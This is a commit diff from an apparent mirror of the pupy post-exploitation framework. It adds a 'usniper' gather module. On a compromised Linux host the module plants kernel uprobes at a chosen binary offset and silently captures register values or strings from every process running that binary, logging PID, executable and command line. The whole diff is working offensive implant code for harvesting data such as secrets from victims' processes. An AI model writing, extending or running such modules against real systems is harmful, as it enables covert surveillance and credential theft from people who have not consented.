mirror of https://github.com/n1nj4sec/pupy.git
Add usniper mode
This commit is contained in:
parent
0ad2982ddc
commit
efc615f5d3
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.utils.rpyc_utils import obtain
|
||||
from pupylib.PupyCmd import PupyCmd
|
||||
|
||||
__class_name__ = 'USniper'
|
||||
|
||||
@config(cat='gather', compat=['linux'])
|
||||
class USniper(PupyModule):
|
||||
''' Globally capture string or register during execution at specified
|
||||
physical offset and register using uprobes. Compatible with
|
||||
kernels >3.5 (register) and >3.18 (string) '''
|
||||
|
||||
unique_instance = True
|
||||
dependencies = {
|
||||
'linux': [ 'usniper' ]
|
||||
}
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='usniper', description=self.__doc__)
|
||||
commands = self.arg_parser.add_subparsers(help='commands')
|
||||
start = commands.add_parser('start', help='Start USniper')
|
||||
start.add_argument('-S', '--string', action='store_true',
|
||||
default=False, help='Dereference as string (>3.18)')
|
||||
start.add_argument('-R', '--ret', action='store_true', default=False,
|
||||
help='Get value after return')
|
||||
start.add_argument('-C', '--nochar', action='store_true',
|
||||
default=False, help='Do not cast register to character')
|
||||
start.add_argument('path', help='Absolute path to binary')
|
||||
start.add_argument('offset', help='Offset in binary')
|
||||
start.add_argument('reg', default='ax', nargs='?',
|
||||
help='Get value from register')
|
||||
start.set_defaults(func=self.start)
|
||||
|
||||
stop = commands.add_parser('stop', help='stop USniper')
|
||||
stop.set_defaults(func=self.stop)
|
||||
|
||||
dump = commands.add_parser('dump', help='dump results')
|
||||
dump.set_defaults(func=self.dump)
|
||||
|
||||
def start(self, args):
|
||||
if self.client.conn.modules['usniper'].start(
|
||||
args.path,
|
||||
args.offset,
|
||||
args.reg,
|
||||
args.ret,
|
||||
'string' if args.string else None,
|
||||
None if ( args.string or args.nochar ) else 'chr'
|
||||
):
|
||||
self.success('Unsipper started')
|
||||
else:
|
||||
self.error('Usniper start failed')
|
||||
|
||||
def stop(self, args):
|
||||
self.client.conn.modules['usniper'].stop()
|
||||
self.success('Stop request was sent')
|
||||
|
||||
def dump(self, args):
|
||||
data = self.client.conn.modules['usniper'].dump()
|
||||
if not data:
|
||||
self.warning('No data collected')
|
||||
return
|
||||
|
||||
records = []
|
||||
|
||||
data = obtain(data)
|
||||
for pid, values in data.iteritems():
|
||||
for timestamp, dumps in values['dump'].iteritems():
|
||||
if all(len(x) == 1 and type(x) in (str,unicode) for x in dumps):
|
||||
records.append({
|
||||
'PID': pid,
|
||||
'EXE': values['exe'],
|
||||
'CMD': ' '.join(values['cmd']),
|
||||
'DATA': ''.join(dumps)
|
||||
})
|
||||
else:
|
||||
for dump in dumps:
|
||||
records.append({
|
||||
'PID': pid,
|
||||
'DATA': dump,
|
||||
'EXE': values['exe'],
|
||||
'CMD': ' '.join(values['cmd'])
|
||||
})
|
||||
|
||||
self.log(PupyCmd.table_format(records, wl=['PID', 'EXE', 'CMD', 'DATA']))
|
||||
|
||||
def run(self, args):
|
||||
args.func(args)
|
|
@ -0,0 +1,214 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
import threading
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import os
|
||||
import signal
|
||||
import pupy
|
||||
import builtins
|
||||
import fcntl
|
||||
import select
|
||||
|
||||
class USniper(pupy.Task):
|
||||
def __init__(self, manager, path, addr, reg='ax', ret=False, cast='', argtype=None):
|
||||
super(USniper, self).__init__(manager)
|
||||
|
||||
self._path = path
|
||||
|
||||
if not os.path.isabs(self._path) or not os.path.exists(self._path):
|
||||
raise ValueError('Executable {} not found'.format(self._path))
|
||||
|
||||
if ret:
|
||||
self._match = re.compile(
|
||||
'^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:'
|
||||
'\s+([^:]+):\s\(0x[a-f0-9]+\s\<\-\s0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)')
|
||||
else:
|
||||
self._match = re.compile(
|
||||
'^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:'
|
||||
'\s+([^:]+):\s\(0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)')
|
||||
|
||||
if type(addr) in (str, unicode):
|
||||
if addr.startswith('0x'):
|
||||
addr = int(addr[2:], 16)
|
||||
else:
|
||||
addr = int(addr)
|
||||
|
||||
self._type = argtype
|
||||
self._ret = ret
|
||||
self._reg = '%' + reg
|
||||
self._cast = cast
|
||||
self._addr = hex(addr) if type(addr) in (int, long) else addr
|
||||
self._worker = None
|
||||
self._lock = threading.Lock()
|
||||
self._fs = '/sys/kernel/debug'
|
||||
self._pipe = None
|
||||
self._marker = ''.join(
|
||||
random.choice(string.ascii_uppercase + string.digits) for _ in range(16)
|
||||
)
|
||||
|
||||
@property
|
||||
def results(self):
|
||||
with self._lock:
|
||||
result = self._results
|
||||
self._results = {}
|
||||
return result
|
||||
|
||||
def stop(self):
|
||||
self._stopped.set()
|
||||
with self._lock:
|
||||
if self._pipe:
|
||||
try:
|
||||
os.close(self._pipe.fileno())
|
||||
except:
|
||||
pass
|
||||
|
||||
return True
|
||||
|
||||
def task(self):
|
||||
self._results = {}
|
||||
|
||||
try:
|
||||
with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:
|
||||
register = '{}:{} {}:{} {}\n'.format(
|
||||
'r' if self._ret else 'p', self._marker, self._path, self._addr,
|
||||
'+0({}):{}'.format(self._reg, self._cast) if self._cast else self._reg
|
||||
)
|
||||
events.write(register)
|
||||
|
||||
except IOError:
|
||||
self._stopped.set()
|
||||
raise
|
||||
|
||||
with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:
|
||||
trigger.write('1\n')
|
||||
|
||||
try:
|
||||
with open('{}/tracing/trace_pipe'.format(self._fs), 'r') as trace:
|
||||
self._pipe = trace
|
||||
fd = trace.fileno()
|
||||
flag = fcntl.fcntl(fd, fcntl.F_GETFL)
|
||||
fcntl.fcntl(fd, fcntl.F_SETFL, flag | os.O_NONBLOCK)
|
||||
|
||||
buf = ''
|
||||
|
||||
while not self._stopped.is_set():
|
||||
rlist = []
|
||||
|
||||
try:
|
||||
rlist, _, xlist = select.select([trace], [], [trace], 10)
|
||||
except:
|
||||
break
|
||||
|
||||
if xlist:
|
||||
break
|
||||
|
||||
if not rlist:
|
||||
continue
|
||||
|
||||
try:
|
||||
buf = buf + os.read(trace.fileno(), 4096)
|
||||
except IOError:
|
||||
break
|
||||
|
||||
if not buf:
|
||||
break
|
||||
|
||||
if not '\n' in buf:
|
||||
continue
|
||||
|
||||
if buf.endswith('\n'):
|
||||
lines = buf.split('\n')
|
||||
buf = ''
|
||||
else:
|
||||
last_n = buf.rfind('\n')
|
||||
buf, lines = buf[last_n+1:], buf[:last_n].split('\n')
|
||||
|
||||
for line in lines:
|
||||
if line.startswith('#'):
|
||||
continue
|
||||
|
||||
groups = self._match.match(line)
|
||||
|
||||
if not groups or not groups.group(3) == self._marker:
|
||||
continue
|
||||
|
||||
pid = groups.group(1)
|
||||
ts = groups.group(2)
|
||||
reg = groups.group(4)
|
||||
string = groups.group(5)
|
||||
if reg:
|
||||
value = int(reg, 16)
|
||||
if self._type:
|
||||
value = self._type(value)
|
||||
elif string:
|
||||
value = string
|
||||
else:
|
||||
value = ''
|
||||
|
||||
with self._lock:
|
||||
if not pid in self._results:
|
||||
exe = os.readlink('/proc/{}/exe'.format(pid))
|
||||
cmdline = []
|
||||
with open('/proc/{}/cmdline'.format(pid)) as fcmdline:
|
||||
cmdline = [
|
||||
x for x in fcmdline.read().split('\x00') if x
|
||||
]
|
||||
|
||||
self._results[pid] = {
|
||||
'exe': exe,
|
||||
'cmd': cmdline,
|
||||
'dump': {}
|
||||
}
|
||||
|
||||
if not ts in self._results[pid]['dump']:
|
||||
self._results[pid]['dump'][ts] = []
|
||||
|
||||
self._results[pid]['dump'][ts].append(value)
|
||||
|
||||
except IOError, e:
|
||||
if not e.errno == 9:
|
||||
raise
|
||||
|
||||
finally:
|
||||
with self._lock:
|
||||
if self._pipe:
|
||||
self._pipe.close()
|
||||
self._pipe = None
|
||||
|
||||
with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:
|
||||
trigger.write('0\n')
|
||||
|
||||
try:
|
||||
with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:
|
||||
events.write('-:{}\n'.format(self._marker))
|
||||
except:
|
||||
pass
|
||||
|
||||
def start(path, addr, reg='ax', ret=False, cast=None, argtype='chr'):
|
||||
try:
|
||||
if pupy.manager.active(USniper):
|
||||
return False
|
||||
except:
|
||||
try:
|
||||
pupy.manager.stop(USniper)
|
||||
except:
|
||||
pass
|
||||
|
||||
if argtype and hasattr(builtins, argtype):
|
||||
argtype = getattr(builtins, argtype)
|
||||
else:
|
||||
argtype = None
|
||||
|
||||
return pupy.manager.create(
|
||||
USniper, path, addr, reg, ret, cast, argtype
|
||||
) is not None
|
||||
|
||||
def stop():
|
||||
return pupy.manager.stop(USniper)
|
||||
|
||||
def dump():
|
||||
usniper = pupy.manager.get(USniper)
|
||||
if usniper:
|
||||
return usniper.results
|
Loading…
Reference in New Issue